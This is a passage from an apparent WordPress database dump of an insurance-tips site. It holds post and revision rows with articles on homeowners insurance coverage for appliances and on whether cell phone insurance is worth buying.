appliance break down shortly after you buy it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Equipment breakdown coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurer may offer equipment breakdown coverage as an add-on option on your home insurance policy. This coverage pays for financial loss caused by appliance breakdown. Unlike standard personal property coverage, mechanical failure and breakdown are covered under this add-on. The specific home systems covered by this endorsement will vary by provider, and coverage limits usually range from $10,000 to $50,000. Not all carriers offer equipment breakdown coverage, but you can consult your insurance agent for more details if you’re interested in purchasing this endorsement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">ACV vs. RCV</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you purchase a home insurance policy, you may be given the option to cover your personal property at actual cash value (ACV) or replacement cost value (RCV). ACV provides coverage for the depreciated value of items, while RCV covers items based on what it would cost to replace them at today’s market value. Standard HO-3 policies cover personal property on an ACV basis but may give you the option to select RCV coverage. HO-5 policies are more robust and may already include RCV coverage for personal property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want more substantial coverage for your appliances, you might choose RCV for personal property insurance to ensure you’re getting enough coverage to replace your items if they’re destroyed by a covered peril. This may be particularly relevant to homeowners with lots of old appliances who would need to pay a significant amount out of pocket to replace appliances at today’s value after an ACV payout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much home insurance coverage do I need for my appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most personal property coverage covers your home’s contents at 50-70 percent of your dwelling coverage. You may want to discuss adjusting your coverage limits with your insurance agent based on your belongings. Having too little personal property coverage may leave you with significant out-of-pocket expenses following a covered loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To determine how much personal contents coverage you may need, you could start by conducting an inventory of all your household appliances, listing them along with their current values. This not only includes major appliances like refrigerators, washing machines and ovens, but also other electronics and smaller appliances that might add up in value. Regularly updating this inventory, especially after major purchases, ensures you have an accurate estimate at any given time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you have a clear idea of the total value of your appliances, compare it with the value of your other personal belongings and the personal property limit in your homeowners insurance policy. If the total value of your items exceeds this limit, you might want to consider increasing your coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/does-homeowners-insurance-cover-appliances/#frequently-asked-questions\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Appliances?','','publish','closed','closed','','does-homeowners-insurance-cover-appliances','','','2024-01-29 23:38:54','2024-01-29 23:38:54','',0,'https://smartinsurance.tips/?p=3808',0,'post','',0),(3809,1,'2024-01-29 23:37:45','2024-01-29 23:37:45','','Untitled-63','','inherit','closed','closed','','untitled-63','','','2024-01-29 23:37:45','2024-01-29 23:37:45','',3808,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-63.png',0,'attachment','image/png',0),(3810,1,'2024-01-29 23:38:54','2024-01-29 23:38:54','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3809,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-63-1024x1024.png\" alt=\"\" class=\"wp-image-3809\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>The personal property portion of your home insurance policy applies to the contents of your home, but whether it covers your home’s appliances will depend on the nature of the damage. While damage from events like fires is typically covered by homeowners insurance, natural wear and tear or breakdowns, like a decade-old refrigerator malfunctioning, usually aren’t covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners insurance policies provide financial protection for the structure of your home as well as the personal belongings inside, which include your appliances. However, it’s crucial to note that appliances are generally covered under the personal property portion of your insurance, and standard HO-3 policies cover personal property on a named perils basis. This means that your insurance policy will list out covered sources of damage that your personal property is financially protected against. The following list includes common personal property named perils, but your own policy specifics may vary from this list:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Fire, lightning or smoke:</strong> Your appliances are typically covered if damage results from lightning, volcanoes or fire. This includes damage from smoke, which can affect air circulation systems, like forced air heating. Some policies in wildfire-prone regions may not cover damage from wildfires, so you’ll want to double-check your policy details.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Wind and hail:</strong> This includes damage from windstorms, hail and the weight of ice, snow or sleet. For example, if a section of your roof caves in after heavy snowfall, damaging your washer and dryer, these appliances would be covered as long as the weight of ice and snow is a named peril in your policy. It’s important to note that flood damage is not included under standard HO-3 policies — separate flood insurance is required.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Explosions:</strong>&nbsp;Appliance damage caused by explosions, whether they originate inside or outside of the home, is typically covered. This may include damage caused by aircraft or vehicles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Civil commotion, vandalism, malicious mischief or theft:</strong>&nbsp;Your appliances may be financially protected from damages or losses caused by intentional harm or theft. For instance, if someone breaks into your home and damages your appliances while looking for valuables, your policy will typically cover this damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden steam or water discharge:</strong>&nbsp;Sudden and accidental water or steam discharge or malfunction of a steam or hot water heating system is typically covered by personal property coverage. However, gradual damage or neglect, like a slow leak leading to mold, is excluded from standard policies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Freezing:</strong>&nbsp;Your appliances are generally covered against damage from freezing conditions. This may include damage to your plumbing or air systems caused by a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden artificially generated electrical current:</strong>&nbsp;Unexpected electrical surges can harm your electronics. This peril is generally covered by personal property insurance, but if your home contains a considerable number of high-priced electronics, discussing this with your insurance agent to ensure adequate coverage may be a wise move.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are some instances where your insurance will not cover appliances, and it’s a good idea to be aware of them before you’re faced with repair bills you didn’t expect. If your personal property coverage has named perils, any source of damage not included on the list of named perils will not be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Age-related breakdowns:</strong>&nbsp;Old appliance breakdowns aren’t covered by standard home insurance policies. If you’ve had an appliance for more than a few years and it stops working for a reason other than a named peril, you’re on your own for repairs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Lack of maintenance:</strong>&nbsp;Regular maintenance is crucial for appliance longevity. If your appliance damage is caused by lack of maintenance, your home insurance will not cover it. You may want to refer to the owner manuals for your appliances to ensure you’re performing the recommended maintenance for each.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Flooding:</strong> Standard HO-3 policies don’t provide coverage for flood-related damages. For flood coverage, you can explore policies from private insurers or the National Flood Insurance Program.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Earthquakes:</strong> A standard home insurance policy does not cover damage caused by earthquakes. However, if your appliances are damaged in a fire that occurred after an earthquake, that would likely be covered. Similar to flood insurance, homeowners in earthquake-prone regions can purchase earthquake insurance as an endorsement or standalone policy, depending on their location.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Home insurance for appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>What insurance covers appliances? Standard home insurance policies cover your appliances from named perils under your personal contents coverage. If you want more robust coverage, there are a few other ways you can financially protect your appliances:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home warranty coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home warranty programs are not the same as home insurance. They typically cover specific systems and usually focus on routine breakdowns and malfunctions. This coverage is more like a service contract that covers your appliances and home systems (plumbing, electrical, HVAC) from damage caused by regular wear-and-tear and age. So you may have an HO-3 home insurance policy and a home warranty — the coverage types are different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A home warranty generally costs between $20 and $150 a month, and you are often able to pick and choose what you’d like covered. If you purchase a newly-built home, you might have a home warranty from the builder — this is different from a home warranty policy, but the coverage may look similar.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Appliance warranties</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home appliances can be expensive, but when you purchase a new appliance, you typically have the option to add a manufacturer warranty. This warranty may even be included for free for the first year of the machine’s life. These manufacturer warranties may provide peace of mind should your new appliance break down shortly after you buy it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Equipment breakdown coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurer may offer equipment breakdown coverage as an add-on option on your home insurance policy. This coverage pays for financial loss caused by appliance breakdown. Unlike standard personal property coverage, mechanical failure and breakdown are covered under this add-on. The specific home systems covered by this endorsement will vary by provider, and coverage limits usually range from $10,000 to $50,000. Not all carriers offer equipment breakdown coverage, but you can consult your insurance agent for more details if you’re interested in purchasing this endorsement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">ACV vs. RCV</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you purchase a home insurance policy, you may be given the option to cover your personal property at actual cash value (ACV) or replacement cost value (RCV). ACV provides coverage for the depreciated value of items, while RCV covers items based on what it would cost to replace them at today’s market value. Standard HO-3 policies cover personal property on an ACV basis but may give you the option to select RCV coverage. HO-5 policies are more robust and may already include RCV coverage for personal property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want more substantial coverage for your appliances, you might choose RCV for personal property insurance to ensure you’re getting enough coverage to replace your items if they’re destroyed by a covered peril. This may be particularly relevant to homeowners with lots of old appliances who would need to pay a significant amount out of pocket to replace appliances at today’s value after an ACV payout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much home insurance coverage do I need for my appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most personal property coverage covers your home’s contents at 50-70 percent of your dwelling coverage. You may want to discuss adjusting your coverage limits with your insurance agent based on your belongings. Having too little personal property coverage may leave you with significant out-of-pocket expenses following a covered loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To determine how much personal contents coverage you may need, you could start by conducting an inventory of all your household appliances, listing them along with their current values. This not only includes major appliances like refrigerators, washing machines and ovens, but also other electronics and smaller appliances that might add up in value. Regularly updating this inventory, especially after major purchases, ensures you have an accurate estimate at any given time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you have a clear idea of the total value of your appliances, compare it with the value of your other personal belongings and the personal property limit in your homeowners insurance policy. If the total value of your items exceeds this limit, you might want to consider increasing your coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/does-homeowners-insurance-cover-appliances/#frequently-asked-questions\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Appliances?','','inherit','closed','closed','','3808-revision-v1','','','2024-01-29 23:38:54','2024-01-29 23:38:54','',3808,'https://smartinsurance.tips/?p=3810',0,'revision','',0),(3811,1,'2024-01-29 23:42:28','2024-01-29 23:42:28','<!-- wp:paragraph -->\n<p>When it comes with a comprehensive set of protections, it could be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3812,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-64-1024x1024.png\" alt=\"\" class=\"wp-image-3812\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Cell phones play an ever-increasing role in our everyday lives. We rely on our phones not only to stay in touch, but for financial transactions, business deals, and staying informed about everything from world events to local weather. As we depend on cell phones more and more, we need better, more expensive equipment, which increases our financial risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">The market offers several ways to safeguard your phone, some offering better protection than others. Cell phone insurance plans offer comprehensive protection, typically at an affordable monthly rate. Nonetheless, phone insurance is not for everyone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Some phone insurance plans cover damage, lost phones, and theft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Both phone manufacturers and service providers offer phone insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some credit card companies provide supplemental phone protection.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners and renters insurance policies provide limited phone protection.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-5\">The Cost of Cell Phone Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">The cost of cell phone insurance varies by plan. Some plans include a robust set of protections that cover losses such as accidental damages caused by drops or liquid, cracked screens, power surges, and theft. Cell phone insurance typically does not cover cosmetic flaws, modifications, and normal wear and tear.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-8\">When it comes to protecting your cell phone, you have several options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">Manufacturer Insurance Plans</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Some cell phone manufacturers offer insurance plans that provide protections that go beyond the warranty. For instance, Apple offers two cell phone insurance plans, AppleCare+ and AppleCare+ with Theft and Loss for its iPhone products.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Oftentimes, you can purchase a manufacturer’s cell phone insurance plan when you buy a phone, or within a specified period after the purchase. These types of plans often limit the number of claims per year and may include service fees or a deductible. For example, the Apple plans include up to two claims per year and service fees or deductibles of $29 for a damaged screen, $99 for other damages, and $149 for loss or theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pricing for manufacturers’ cell phone insurance can depend on your phone’s model. For instance, AppleCare+ with Theft and Loss coverage costs $3.99 per month, or $79 per year, for an iPhone SE, while coverage for an iPhone 13 Pro runs $9.99 per month, or $199 per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-17\">Service Provider Insurance Plans</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-18\">Major service providers often offer cell phone insurance plans for their customers. For instance, Verizon offers a plan that covers damage, loss, and theft, with a fixed rate of $29 for screen repairs. Monthly rates and deductibles depend on your phone’s manufacturer and model. For example, coverage for a Samsung A610 costs $14 per month with a $19 deductible, while protection for an iPhone 12 runs $17 per month, with a $229 deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>AT&amp;T also offers a plan with a rate of $14-$17 per month depending on device model. It will  cover up to three loss, theft, or physical damage claims every 12 months, and features $29 screen repair and unlimited battery replacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Educational Cell Phone Insurance Plans</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">Some colleges and universities offer cell phone insurance plans for their students, professors, and staff. For example, cell phones purchased through Columbia University’s Information Technology department are eligible for device coverage starting at $11 per month. The Columbia plan requires paying a $99 deductible for each incident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Homeowners or Renters Insurance Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Most standard homeowners and renters insurance policies offer limited cell phone protections. If your phone is destroyed in a covered loss, such as a fire, the personal property coverage of your policy will cover it. Likewise, personal property coverage also protects your phone from theft or vandalism, which may occur in your home or away from home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">However, most homeowners and renters insurance policies do not cover accidental damage to your phone. So, if you drop your phone and crack its screen, you can’t rely on your home insurance coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Some major insurance companies offer standalone coverage for cell phones. For instance, through a partnership with SquareTrade, Allstate offers a phone protection plan for $12.99 per month. This plan covers accidental losses such as a cracked screen or liquid damage, along with charging port and battery failures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Deductibles apply to the personal property coverage of your home or renters insurance policy. If your policy has a $1,000 deductible, it will not provide protection for a $500 cell phone, but the cost of repair or replacement as part of a covered claim will count toward your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Credit Card Cell Phone Protection</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Some credit card benefits include cell phone protection. For example, some Wells Fargo credit cards offer up to $600 in cell phone coverage, with a $25 deductible. Wells Fargo’s coverage protects against damaged or stolen cell phones, but does not cover lost phones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">The Visa Signature credit card also covers damaged or stolen cell phones, with a $50 deductible, and American Express provides up to $800 in phone coverage, with a $50 deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">Many credit card protections offer supplemental coverage. So, if your phone is covered by your homeowners insurance, you must exhaust that coverage before filing a claim with your credit card company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Oftentimes, credit card companies only offer cell phone protection if you use your credit card to pay your monthly service provider bill.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-41\">Considering the Risk/Reward of Phone Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">When considering buying phone insurance, think about the cost of coverage and the protection it will provide. Can you afford the monthly or yearly insurance rate? Can you afford to buy a new phone if yours is damaged, lost, or stolen?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">Phone insurance can save the day when you need it. Having the coverage ensures that you can purchase another phone if a thief makes off with yours or can afford repairs if it sustains damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">When Is Phone Insurance Worth It?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">When considering whether to buy phone insurance, think about how important a cell phone is in your daily life. More importantly, consider how not having your phone would impact your life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-49\">Staying Connected</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-50\">Folks who rely heavily on their cell phones likely need phone insurance. Perhaps you depend on your phone to stay connected with your family and friends or rely on it for internet access. People who rely on their phones for work likely need phone protection to ensure quick replacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-52\">Damage or Loss Potential</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-53\">Parents who allow young children to use their expensive phones for calls or games run the risk of serious damages. Commuters who use public transportation face the threat of snatch-and-grab cell phone theft. Active people risk damaging their phones while exercising at the gym or hiking. And some folk simply tend to drop their phones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-55\">Cost Considerations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">The average price of a smartphone is just over $350, with the iPhone 13 Pro selling for as much as $1099, so consider whether you can afford a replacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Apple. “iPhone 13 Pro.” Phone insurance is particularly important if you purchase a high-end phone through a monthly installment plan, otherwise you could be on the hook for months or years of payments if your phone is damaged, lost, or stolen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-58\">When Isn\'t Phone Insurance Worth It?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-59\">Phone insurance isn’t for everyone. While some people live with their phones in their hands, others only use them to make calls and occasionally surf the web. Others work from home and still have a landline connection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-61\">If you bought your phone through an installment plan, and have paid it off, you probably don’t need phone insurance. However, before dropping coverage, determine whether you can afford to buy a new phone if yours is damaged, lost, or stolen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-63\">Phone insurance is not for people who buy inexpensive phones. It doesn’t make good financial sense to pay $15 a month or more for a phone that costs $150.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-65\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-66\">Phone insurance provides valuable protection for people who own expensive phones and those who heavily rely on their phone every day. The market offers several ways to protect your phone, with manufacturers’ and service providers plans. Home and renters insurance policies, as well as some credit card companies, also provide phone protection options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-68\">Determining whether you need phone insurance depends on the importance of having a cell phone and your financial ability to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/is-phone-insurance-worth-it-5221960\">click here.</a></p>\n<!-- /wp:paragraph -->','Is Phone Insurance Worth It?','','publish','closed','closed','','is-phone-insurance-worth-it','','','2024-01-29 23:42:28','2024-01-29 23:42:28','',0,'https://smartinsurance.tips/?p=3811',0,'post','',0),(3812,1,'2024-01-29 23:39:57','2024-01-29 23:39:57','','Untitled-64','','inherit','closed','closed','','untitled-64','','','2024-01-29 23:39:57','2024-01-29 23:39:57','',3811,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-64.png',0,'attachment','image/png',0),(3813,1,'2024-01-29 23:42:28','2024-01-29 23:42:28','<!-- wp:paragraph -->\n<p>When it comes with a comprehensive set of protections, it could be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3812,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-64-1024x1024.png\" alt=\"\" class=\"wp-image-3812\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Cell phones play an ever-increasing role in our everyday lives. We rely on our phones not only to stay in touch, but for financial transactions, business deals, and staying informed about everything from world events to local weather. As we depend on cell phones more and more, we need better, more expensive equipment, which increases our financial risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">The market offers several ways to safeguard your phone, some offering better protection than others. Cell phone insurance plans offer comprehensive protection, typically at an affordable monthly rate. Nonetheless, phone insurance is not for everyone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Some phone insurance plans cover damage, lost phones, and theft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Both phone manufacturers and service providers offer phone insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some credit card companies provide supplemental phone protection.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners and renters insurance policies provide limited phone protection.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-5\">The Cost of Cell Phone Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">The cost of cell phone insurance varies by plan. Some plans include a robust set of protections that cover losses such as accidental damages caused by drops or liquid, cracked screens, power surges, and theft. Cell phone insurance typically does not cover cosmetic flaws, modifications, and normal wear and tear.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-8\">When it comes to protecting your cell phone, you have several options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">Manufacturer Insurance Plans</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Some cell phone manufacturers offer insurance plans that provide protections that go beyond the warranty. For instance, Apple offers two cell phone insurance plans, AppleCare+ and AppleCare+ with Theft and Loss for its iPhone products.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Oftentimes, you can purchase a manufacturer’s cell phone insurance plan when you buy a phone, or within a specified period after the purchase. These types of plans often limit the number of claims per year and may include service fees or a deductible. For example, the Apple plans include up to two claims per year and service fees or deductibles of $29 for a damaged screen, $99 for other damages, and $149 for loss or theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pricing for manufacturers’ cell phone insurance can depend on your phone’s model. For instance, AppleCare+ with Theft and Loss coverage costs $3.99 per month, or $79 per year, for an iPhone SE, while coverage for an iPhone 13 Pro runs $9.99 per month, or $199 per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-17\">Service Provider Insurance Plans</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-18\">Major service providers often offer cell phone insurance plans for their customers. For instance, Verizon offers a plan that covers damage, loss, and theft, with a fixed rate of $29 for screen repairs. Monthly rates and deductibles depend on your phone’s manufacturer and model. For example, coverage for a Samsung A610 costs $14 per month with a $19 deductible, while protection for an iPhone 12 runs $17 per month, with a $229 deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>AT&amp;T also offers a plan with a rate of $14-$17 per month depending on device model. It will  cover up to three loss, theft, or physical damage claims every 12 months, and features $29 screen repair and unlimited battery replacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} 